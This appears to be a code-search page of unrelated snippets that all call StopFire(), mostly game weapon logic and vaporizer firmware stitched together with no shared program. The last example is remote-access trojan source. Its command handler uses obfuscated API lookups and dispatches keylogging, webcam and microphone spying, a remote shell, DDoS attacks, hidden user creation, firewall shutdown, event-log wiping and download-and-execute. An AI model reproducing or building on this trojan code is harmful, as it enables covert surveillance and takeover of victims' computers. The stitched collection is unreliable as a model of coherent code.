//------------------------------------------------------------------------
void CVehicleMountedWeapon::Update( SEntityUpdateContext& ctx, int update)
{
	CHeavyMountedWeapon::Update(ctx, update);

 	if(update==eIUS_General)
 	{ 
 		if (m_fm && m_fm->IsFiring())
 		{
 			m_dtWaterLevelCheck -= ctx.fFrameTime;      
 
 			if (m_dtWaterLevelCheck <= 0.f)
 			{ 
 				if (!CheckWaterLevel())        
 					StopFire();          
 
 				m_dtWaterLevelCheck = 2.0f;
 			}
 		}

		// Perform position sync if necessary
		if(IsRippingOff() && gEnv->bMultiplayer)
		{
			CorrectRipperEntityPosition(ctx.fFrameTime); 
		}
	}

	m_usedThisFrame = false;
}
Example #2
0
//=========================================================================
//----- (000022EC) --------------------------------------------------------
__myevic__ void GPD_IRQHandler()
{
	if ( GPIO_GET_INT_FLAG( PD, GPIO_PIN_PIN7_Msk ) )
	{
		GPIO_CLR_INT_FLAG( PD, GPIO_PIN_PIN7_Msk );

		if ( gFlags.usb_attached )
		{
			BattProbeCount = 1;

			if ( gFlags.battery_charging )
			{
				Event = 13;
			}
		}
	}
	else if ( GPIO_GET_INT_FLAG( PD, GPIO_PIN_PIN1_Msk ) )
	{
		GPIO_CLR_INT_FLAG( PD, GPIO_PIN_PIN1_Msk );

		if ( gFlags.usb_attached && ( NumBatteries == 1 ) && ( BatteryVoltage >= 414 ) )
		{
			BattProbeCount = 1;

			if ( gFlags.battery_charging )
			{
				Event = 13;
			}
		}
	}
	else if ( GPIO_GET_INT_FLAG( PD, GPIO_PIN_PIN0_Msk ) )
	{
		GPIO_CLR_INT_FLAG( PD, GPIO_PIN_PIN0_Msk );

		if ( ISPRESA75W || ISVTCDUAL || ISCUBOID || ISCUBO200 || ISRX200S || ISRX23 || ISRX300 )
		{
			if ( gFlags.firing || gFlags.probing_ato )
			{
				if ( Event != 28 )
				{
					Event = 28;
					StopFire();
				}
			}
		}
	}
	else if ( GPIO_GET_INT_FLAG( PD, GPIO_PIN_PIN2_Msk|GPIO_PIN_PIN3_Msk ) )
	{
		GPIO_CLR_INT_FLAG( PD, GPIO_PIN_PIN2_Msk|GPIO_PIN_PIN3_Msk );

		if ( dfStatus.wakeonpm )
		{
			gFlags.wake_up = 1;
		}
	}
	else
	{
		PD->INTSRC = PD->INTSRC;
	}
}
Example #3
0
/** unequip weapon from pawn */
void AWeapon::OnUnEquip()
{

	if (HasAuthority())
	{
		// UE_LOG(LogHeliWeapon, Log, TEXT("AWeapon::OnUnEquip() ---> Set owning pawn to NULL"));
		SetOwningPawn(NULL);
	}

	if (IsAttachedToPawn())
	{
		StopFire();
		DetachMeshFromPawn();
		bIsEquipped = false;


		if (bPendingReload)
		{
			bPendingReload = false;

			GetWorldTimerManager().ClearTimer(TimerHandle_ReloadWeapon);
		}

		DetermineWeaponState();
	}
}
void AShooterWeapon::OnUnEquip()
{
	DetachMeshFromPawn();
	bIsEquipped = false;
	StopFire();

	if (bPendingReload)
	{
		StopWeaponAnimation(ReloadAnim);
		bPendingReload = false;

		GetWorldTimerManager().ClearTimer(TimerHandle_StopReload);
		GetWorldTimerManager().ClearTimer(TimerHandle_ReloadWeapon);
	}

	if (bPendingEquip)
	{
		StopWeaponAnimation(EquipAnim);
		bPendingEquip = false;

		GetWorldTimerManager().ClearTimer(TimerHandle_OnEquipFinished);
	}

	DetermineWeaponState();
}
Example #5
0
void CSpammer::UpdateLoadIn(float frameTime)
{
	const int currentAmmoCount = GetAmmoCount();
	const bool infiniteAmmo = (GetClipSize() < 0);

	if ((!infiniteAmmo) && (m_numLoadedRockets >= currentAmmoCount))
	{
		GetWeapon()->PlayAction(GetFragmentIds().empty_clip);
		StopFire();
		return;
	}

	const SSpammerParams& params = GetShared()->spammerParams;

	const float loadInTime = 1.0f / (params.loadInRate / 60.0f);
	m_timer -= frameTime;

	while (m_timer < 0.0f && m_numLoadedRockets < params.maxNumRockets)
	{
		m_timer += loadInTime;
		AddTarget();
		GetWeapon()->PlayAction(GetFragmentIds().c**k);
	}

	if (m_numLoadedRockets != m_targetsAssigned.GetNumLockOns())
	{
		EntityId nextTarget = GetNextLockOnTarget();
		if (nextTarget != 0)
			m_targetsAssigned.LockOn(nextTarget);
	}
}
Example #6
0
//------------------------------------------------------------------------
void CVehicleWeapon::Update( SEntityUpdateContext& ctx, int update)
{
	CWeapon::Update(ctx, update);

	if(update==eIUS_General)
  { 
    if (m_fm && m_fm->IsFiring())
    {
      m_dtWaterLevelCheck -= ctx.fFrameTime;      
      
      if (m_dtWaterLevelCheck <= 0.f)
      { 
        if (!CheckWaterLevel())        
          StopFire();          
        
        m_dtWaterLevelCheck = 2.0f;
      }
    }
  
		if (m_stats.mounted)
		{
			UpdateMounted(ctx.fFrameTime);
		}
	}
}
Example #7
0
void AOverHeatWeapon::Tick(float DeltaTime) {
	Super::Tick(DeltaTime);

	if (heatLevel >= 1) {
		overHeated = true;
		heatLevel = 1;
	}

	if (heatLevel > 0) {
		if (!overHeated) {
			// It takes 20 seconds to reduce 100 heat
			heatLevel -= heatLosePerTick * DeltaTime;
		}
		else {
			StopFire();
			// If takes 6.45 ish seconds to loose 100 heat when overHeated is TRUE
			heatLevel -= 0.12 * DeltaTime;

			if (heatLevel < 0) {
				heatLevel = 0;
				overHeated = false;
			}
		}
	}

	if (heatLevel < 0) {
		heatLevel = 0;
	}
}
void AMagicBattleSoccerWeapon::OnUnEquip()
{
	DetachMeshFromPawn();
	bIsEquipped = false;
	StopFire();

	DetermineWeaponState();
}
Example #9
0
void CHandGrenades::StopQuickGrenadeThrow()
{
	if (m_bInQuickThrow)
	{
		m_bInQuickThrow = false;
		StopFire();
	}
}
Example #10
0
//--------------------------------------------------------
void CWeapon::OnAnimationEventStopFire()
{
	if (m_animationFiringLocator.IsSet())
	{
		m_animationFiringLocator.Release();

		StopFire();
	}
}
Example #11
0
//------------------------------------------------------------------------
void CCharge::ChargedShoot()
{
    CAutomatic::Shoot(true, m_autoreload);

    m_charged=0;

    if(m_pShared->chargeparams.reset_spinup)
        StopFire();
}
Example #12
0
//------------------------------------------------------------------------
void CScan::Update(float frameTime, uint32 frameId)
{
	if (m_scanning && m_pWeapon->IsClient())
	{
		if (m_delayTimer>0.0f)
		{
			m_delayTimer -= frameTime;
			if (m_delayTimer>0.0f)
				return;

			m_delayTimer = 0.0f;

			int slot = m_pWeapon->GetStats().fp ?  eIGS_FirstPerson :  eIGS_ThirdPerson;
			int id = m_pWeapon->GetStats().fp ? 0 : 1;

			m_scanLoopId=m_pWeapon->PlayAction(m_scanactions.scan, 0, true, CItem::eIPAF_Default|CItem::eIPAF_CleanBlending);
			ISound *pSound = m_pWeapon->GetSoundProxy()->GetSound(m_scanLoopId);
			if (pSound)
				pSound->GetInterfaceDeprecated()->SetLoopMode(true);
		}

		if(m_delayTimer==0.0f)
		{
			if(m_tagEntitiesDelay>0.0f)
			{
				m_tagEntitiesDelay-=frameTime;
				if(m_tagEntitiesDelay<=0.0f)
				{
					m_tagEntitiesDelay = 0.0f;

					//Here is when entities are displayed on Radar
					if(gEnv->pGame->GetIGameFramework()->GetClientActor() == m_pWeapon->GetOwnerActor())
					{
						if(gEnv->bServer)
							NetShoot(ZERO, 0);
						else
							m_pWeapon->RequestShoot(0, ZERO, ZERO, ZERO, ZERO, 1.0f, 0, false);
					}
				}
			}

			if (m_durationTimer>0.0f)
			{
				m_durationTimer-=frameTime;
				if (m_durationTimer<=0.0f)
				{
					m_durationTimer=0.0f;	
					StopFire();
					//m_pWeapon->RequestShoot(0, ZERO, ZERO, ZERO, ZERO, 1.0f, 0, false);
				}
			}
		}

		m_pWeapon->RequireUpdate(eIUS_FireMode);
	}
}
//------------------------------------------------------------------------
void CCharge::ChargedShoot()
{
	CAutomatic::Shoot(true, m_autoreload);

	m_charged=0;

	if(m_fireParams->chargeparams.reset_spinup)
		StopFire();

	m_pWeapon->SetItemFlag(CItem::eIF_BlockActions, false);
}
//------------------------------------------------------------------------
void CRapid::Firing(bool firing)
{
	SpinUpEffect(false);

	if (m_firing != firing)
	{
		if (m_firing)
			StopFire();
	}
	m_firing = firing;
}
Example #15
0
void AWeaponBase::StartFire(){
	if(CurrentAmmo > 0){
		//UE_LOG(LogTemp, Warning, TEXT("StartedFire!"));
		bIsFiring = true;
		DoFire();
		float TimerDelay = FireRate > 0 ? 1/(FireRate*0.01667) : FApp::GetDeltaTime();

		if(!FireRateHandle.IsValid())
			GetWorld()->GetTimerManager().SetTimer(FireRateHandle, this, &AWeaponBase::StartFire, TimerDelay, true);
	}
	else {
		StopFire();
	}
}
//------------------------------------------------------------------------
void CAutomatic::Update(float frameTime, uint32 frameId)
{
	BaseClass::Update(frameTime, frameId);

	if (m_firing && CanFire(false))
	{
		m_firing = Shoot(true, m_fireParams->fireparams.autoReload);

		if(!m_firing)
		{
			StopFire();
		}
	}
}
Example #17
0
void ASWeapon::OnUnEquip()
{
	if (bPendingEquip)
	{
		StopWeaponAnimation(EquipAnim);
		bPendingEquip = false;
		GetWorldTimerManager().ClearTimer(EquipFinishedTimerHandle);
	}

	StopFire();
	AttachMeshToPawn(StorageSlot);
	bIsEquipped = false;

	DetermineWeaponState();
}
Example #18
0
void CHeavyMountedWeapon::StopUse(EntityId userId)
{
	UnRegisterAsUser();

	if (m_rippedOff || m_rippingOff)
	{
		CActor *pActor = GetOwnerActor();

		m_rippedOff = true;
		m_rippingOff = false;
		RemoveViewLimits();
		BaseClass::StopUse(userId);

		if(pActor)
		{
			pActor->LockInteractor(GetEntityId(), false);
		}
	}
	else
	{
		CActor *pActor = GetOwnerActor();
		if (!pActor)
		{
			return;
		}

		if (m_isFiring)
		{
			StopFire();
		}
		DoRipOffPrompt(GetOwnerId(), false);
		SetViewMode(eIVM_ThirdPerson);
		DrawSlot(eIGS_ThirdPerson, true);

		if(gEnv->bMultiplayer)
		{
			HighlightWeapon(true);
		}

		//The use of CWeapon::StopUse() here and not BaseClass::StopUse() is deliberate; it avoids the '::Drop()' call that CHeavyWeapon makes
		CWeapon::StopUse(userId);
	}
}
Example #19
0
void CCinematicWeapon::Disable()
{
	CGameRules* pGameRules = g_pGame->GetGameRules();
	if (pGameRules != NULL)
	{
		if (m_inputClass == eInputClass_Primary)
		{
			pGameRules->GetCinematicInput().SetUpWeapon( CCinematicInput::eWeapon_Primary, NULL );
		}
		else if (m_inputClass == eInputClass_Secondary)
		{
			pGameRules->GetCinematicInput().SetUpWeapon( CCinematicInput::eWeapon_Secondary, NULL );
		}

		m_inputClass = eInputClass_None;
	}

	SetHostId(0);

	StopFire();
}
void ASWeapon::OnUnEquip()
{
	bIsEquipped = false;
	StopFire();

	if (bPendingEquip)
	{
		StopWeaponAnimation(EquipAnim);
		bPendingEquip = false;

		GetWorldTimerManager().ClearTimer(EquipFinishedTimerHandle);
	}
	if (bPendingReload)
	{
		StopWeaponAnimation(ReloadAnim);
		bPendingReload = false;

		GetWorldTimerManager().ClearTimer(TimerHandle_ReloadWeapon);
	}

	DetermineWeaponState();
}
Example #21
0
//-------------------------------------------------
bool CHandGrenades::OnActionAttack(EntityId actorId, const ActionId& actionId, int activationMode, float value)
{
	m_throwCancelled &= (activationMode & (eAAM_OnRelease | eAAM_OnPress)) == 0; //New throw request so disable the cancellation

	if (!CanOwnerThrowGrenade() || m_throwCancelled)
		return true;

	if(activationMode == eAAM_OnPress || (gEnv->bMultiplayer && activationMode == eAAM_OnHold))
	{
		if(m_pThrow && !m_pThrow->IsFiring())
		{
			CRY_ASSERT_MESSAGE(m_pThrow == m_fm, "Currently not in throw firemode");
			m_pThrow->Prime();
			UpdateStowedWeapons();
		}
	}
	else if (activationMode == eAAM_OnRelease)
	{
		StopFire();
	}

	return true;
}
Example #22
0
//------------------------------------------------------------------------
void CVehicleWeapon::Update(SEntityUpdateContext &ctx, int update)
{
	CWeapon::Update(ctx, update);

	if(update==eIUS_General)
	{
		if(m_fm && m_fm->IsFiring())
		{
			m_dtWaterLevelCheck -= ctx.fFrameTime;

			if(m_dtWaterLevelCheck <= 0.f)
			{
				if(!CheckWaterLevel())
					StopFire();

				m_dtWaterLevelCheck = 2.0f;
			}
		}

		CheckForFriendlyAI(ctx.fFrameTime);
		CheckForFriendlyPlayers(ctx.fFrameTime);
	}
}
float ARnCCharacter::TakeDamage(float DamageAmount, FDamageEvent const& DamageEvent, AController* EventInstigator, AActor* DamageCauser)
{
	const float ActualDamage = Super::TakeDamage(DamageAmount, DamageEvent, EventInstigator, DamageCauser);

	Health -= DamageAmount;

	//Calculate the new health value and update the UI in any case

	MainCharController->UpdateUI();

	if (Health > 0)
	{
		MainCharAnimInstance->PlayGetHitAnimation();
	}
	else
	{
		MainCharAnimInstance->PlayDeathAnimation();
		StopFire();
		MainCharController->UnPossess();
	}

	return ActualDamage;
}
Example #24
0
//------------------------------------------------------------------------------------------------
void Person::Die()
{
	mStateTime = 0.0f;
	StopFire();
	Drop(mGunIndex,0);
	Drop(GRENADE,0);

	if (mSoundId != -1) {
		mSoundSystem->StopSample(mSoundId);
		mSoundId = -1;
	}
	if (mGuns[PRIMARY] != NULL) {
		delete mGuns[PRIMARY];
		mGuns[PRIMARY] = NULL;
	}
	if (mGuns[SECONDARY] != NULL) {
		delete mGuns[SECONDARY];
		mGuns[SECONDARY] = NULL;
	}
	/*if (mGunIndex != KNIFE) {
		mGuns[mGunIndex] = NULL;
	}*/
	if (mGuns[GRENADE] != NULL) {
		delete mGuns[GRENADE];
		mGuns[GRENADE] = NULL;
	}
	mGunIndex = KNIFE;

	mNumDryFire = 0;

	gSfxManager->PlaySample(gDieSounds[rand()%3],mX,mY);
	SetState(DEAD);
	mFadeTime = 1000.0f;
	SetMoveState(NOTMOVING);
	mSpeed = 0.0f;
}
Example #25
0
void CCinematicWeapon::OnAction( EntityId actorId, const ActionId& actionId, int activationMode, float value )
{
	const CGameActions& gameActions = g_pGame->Actions();

	const bool fireAction = (actionId == gameActions.attack1_cine) || (actionId == gameActions.attack2_cine);
	if (fireAction)
	{
		if (activationMode == eAAM_OnPress)
		{
			StartFire();
		}
		else if(activationMode == eAAM_OnHold)
		{
			if((m_fm != NULL) && !m_fm->IsFiring() && m_fm->CanFire())
			{
				StartFire();
			}		
		}
		else
		{
			StopFire();
		}
	}
}
Example #26
0
//---------------------------------------------------------
//Controller input (primary fire)
bool CWeapon::OnActionAttackPrimary(EntityId actorId, const ActionId& actionId, int activationMode, float value)
{
	if (activationMode == eAAM_OnPress && (!gEnv->bMultiplayer || m_weaponNextShotTimer <= 0.f))
	{
		if(PreActionAttack(true))
			return true;

		StartFire();
	}
	else if(activationMode == eAAM_OnHold)
	{
		if((!gEnv->bMultiplayer || m_weaponNextShotTimer <= 0.f) && m_fm && m_fm->CanFire() && !m_fm->IsFiring() && !IsDeselecting() && !CheckSprint())
		{
			StartFire();
		}		
	}
	else
	{
		PreActionAttack(false);
		StopFire();
	}

	return true;
}
Example #27
0
void AFournoidWeapon::ServerStopFire_Implementation()
{
	StopFire();
}
//------------------------------------------------------------------------
void CRapid::Update(float frameTime, uint32 frameId)
{
	FUNCTION_PROFILER( GetISystem(), PROFILE_GAME );

	PlayStopRapidFireIfNeeded();

	BaseClass::Update(frameTime, frameId);

	if (m_speed <= 0.0f && m_acceleration < 0.0001f)
	{
		FinishDeceleration();
		return;
	}

	CActor* pOwnerActor = m_pWeapon->GetOwnerActor();
	const bool isOwnerClient = pOwnerActor ? pOwnerActor->IsClient() : false;
	const bool isOwnerPlayer = pOwnerActor ? pOwnerActor->IsPlayer() : false;

	m_pWeapon->RequireUpdate(eIUS_FireMode);

	m_speed = m_speed + m_acceleration*frameTime;

	if (m_speed > m_fireParams->rapidparams.max_speed)
	{
		m_speed = m_fireParams->rapidparams.max_speed;
		m_rapidFlags &= ~eRapidFlag_accelerating;
	}

	if ((m_speed >= m_fireParams->rapidparams.min_speed) && !(m_rapidFlags & eRapidFlag_decelerating))
	{
		float dt = 1.0f;
		if (cry_fabsf(m_speed)>0.001f && cry_fabsf(m_fireParams->rapidparams.max_speed)>0.001f)
		{
			dt = m_speed * (float)__fres(m_fireParams->rapidparams.max_speed);
		}
		CRY_ASSERT(m_fireParams->fireparams.rate > 0);
		
		m_next_shot_dt = 60.0f* (float)__fres((m_fireParams->fireparams.rate*dt));

		if (CanFire(false))
		{
			if (!OutOfAmmo())
			{
				const bool firing = (m_rapidFlags & eRapidFlag_netShooting) || Shoot(true, m_fireParams->fireparams.autoReload);
				Firing(firing);
			}
			else
			{
				StopFire();
			}
		}
	}
	else if (m_firing)
	{
		StopFire();
		if (OutOfAmmo() && isOwnerPlayer)
		{
			m_pWeapon->Reload();
		}
	}

	if ((m_speed < m_fireParams->rapidparams.min_speed) && (m_acceleration < 0.0f) && !(m_rapidFlags & eRapidFlag_decelerating))
		Accelerate(m_fireParams->rapidparams.deceleration);

	UpdateRotation(frameTime);
	UpdateFiring(pOwnerActor, isOwnerClient, isOwnerPlayer, frameTime);
}
void AShooterWeapon::ServerStopFire_Implementation()
{
	StopFire();
}
Example #30
0
// 加上激活
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	typedef LONG (WINAPI *InterlockedExchangeT)
		(
		__inout LONG volatile *Target,
		__in    LONG Value
		);
	InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange");

	typedef VOID (WINAPI *SleepT)
		(
		__in DWORD dwMilliseconds
		);
	SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");

	typedef HANDLE
		(WINAPI
		*CreateThreadT)(
		__in_opt  LPSECURITY_ATTRIBUTES lpThreadAttributes,
		__in      SIZE_T dwStackSize,
		__in      LPTHREAD_START_ROUTINE lpStartAddress,
		__in_opt  LPVOID lpParameter,
		__in      DWORD dwCreationFlags,
		__out_opt LPDWORD lpThreadId
		);
	CreateThreadT pCreateThread=(CreateThreadT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateThread");

	typedef BOOL (WINAPI *CloseHandleT)
		(
		__in HANDLE hObject
		);
	char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm);
	
	typedef BOOL
		(WINAPI
		*EnumWindowsT)(
		__in WNDENUMPROC lpEnumFunc,
		__in LPARAM lParam);
	EnumWindowsT pEnumWindows=(EnumWindowsT)GetProcAddress(LoadLibrary("USER32.dll"),"EnumWindows");

	switch (lpBuffer[0])
	{
	case COMMAND_ACTIVED:
		pInterlockedExchange((LONG *)&m_bIsActived, true);
		break;
	case COMMAND_LIST_DRIVE: // 文件管理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, false);
		break;
	case COMMAND_SCREEN_SPY: // 屏幕查看
 		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
 			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_WEBCAM: // 摄像头
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_AUDIO: // 声音监听
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SHELL: // 远程sehll
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, 
			(LPVOID)m_pClient->m_Socket, 0, NULL, true);
		break;
	case COMMAND_KEYBOARD: //键盘记录
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SYSTEM: //系统管理,包括进程,窗口
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SERMANAGER:  // 服务管理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SerManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_DDOS_ATTACK:
		{
			ATTACK m_Attack;
			memcpy(&m_Attack,lpBuffer + 1,sizeof(ATTACK));
			DDOSManager m_DDOSManager(&m_Attack);
		}
		break;
	case COMMAND_DDOS_STOP:
		Stoping = FALSE;
		break;
	case COMMAND_REGEDIT:          //注册表管理   
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_SYSINFO: 
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SysInfoManager,
			(LPVOID)m_pClient->m_Socket, 0, NULL);
		break;
	case COMMAND_NET_USER: // 无NET加用户
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)NETUSER,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		break;
	case COMMAND_OPEN_PROXY: // 开启代理
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)OpenProxy,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		break;
	case COMMAND_OPEN_3389:
		{
			Open3389((LPCTSTR)(lpBuffer + 1), nSize -2);
		}
		break;
	case COMMAND_GUEST: // 开启GUEST账号
		OpenGuest();
		break;
	case COMMAND_STOPFIRE: // 关防火墙
        StopFire();
		break;
	case COMMAND_CHANGE_PORT: // 更改终端
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)ChangePort, (LPVOID)(lpBuffer + 1), 0,	NULL, true);
		break;
	case COMMAND_SENDMSG:
		{
			pCloseHandle(pCreateThread(NULL,NULL,Loop_MsgBox,&lpBuffer[1],NULL,NULL));
			pSleep(500);
		}
		break;
	case COMMAND_DOWN_EXEC: // 下载者
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
			(LPVOID)(lpBuffer + 1), 0, NULL, true);
		pSleep(100); // 传递参数用
		break;
	case COMMAND_OPEN_URL_SHOW: // 显示打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
		break;
	case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
		OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
		break;
	case COMMAND_REMOVE: // 卸载,
		UnInstallService();
		break;
	case COMMAND_CLEAN_EVENT: // 清除日志
		CleanEvent();
		break;
	case COMMAND_SESSION://会话管理
		CSystemManager::ShutdownWindows(lpBuffer[1]);
		break;
	case COMMAND_RENAME_REMARK: // 改备注
		SetHostID((LPCTSTR)(lpBuffer + 1));
		break;
	case COMMAND_CHANGE_GROUP: // 改分组
		SetInfo("Group", (LPCTSTR)(lpBuffer + 1), "BITS");
		break;
	case COMMAND_UPDATE_SERVER: // 更新服务端
		if (UpdateServer((char *)lpBuffer + 1))
			UnInstallService();
		break;
	case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
		break;
	case COMMAND_SORT_PROCESS: // 进程筛选
		try
		{
			
			if (isProcesin((LPTSTR)(lpBuffer + 1)))
			{
				BYTE bToken = TOKEN_INFO_YES;
				m_pClient->Send(&bToken, 1);
			}else
			{
				BYTE bToken = TOKEN_INFO_NO;
				m_pClient->Send(&bToken, 1);
			}
		}catch(...){}
		break;
	case COMMAND_SORT_WINDOW: // 窗体筛选
		try
		{
			strcpy(temp_proc,(LPTSTR)(lpBuffer + 1));
			pEnumWindows(EnumWindowsList,0);
			if (proc_tag)
			{
				BYTE bToken = TOKEN_INFO_YES;
				m_pClient->Send(&bToken, 1);
				proc_tag = false;
			}else
			{
				BYTE bToken = TOKEN_INFO_NO;
				m_pClient->Send(&bToken, 1);
			}
		}catch(...){}
		break;
	}		
}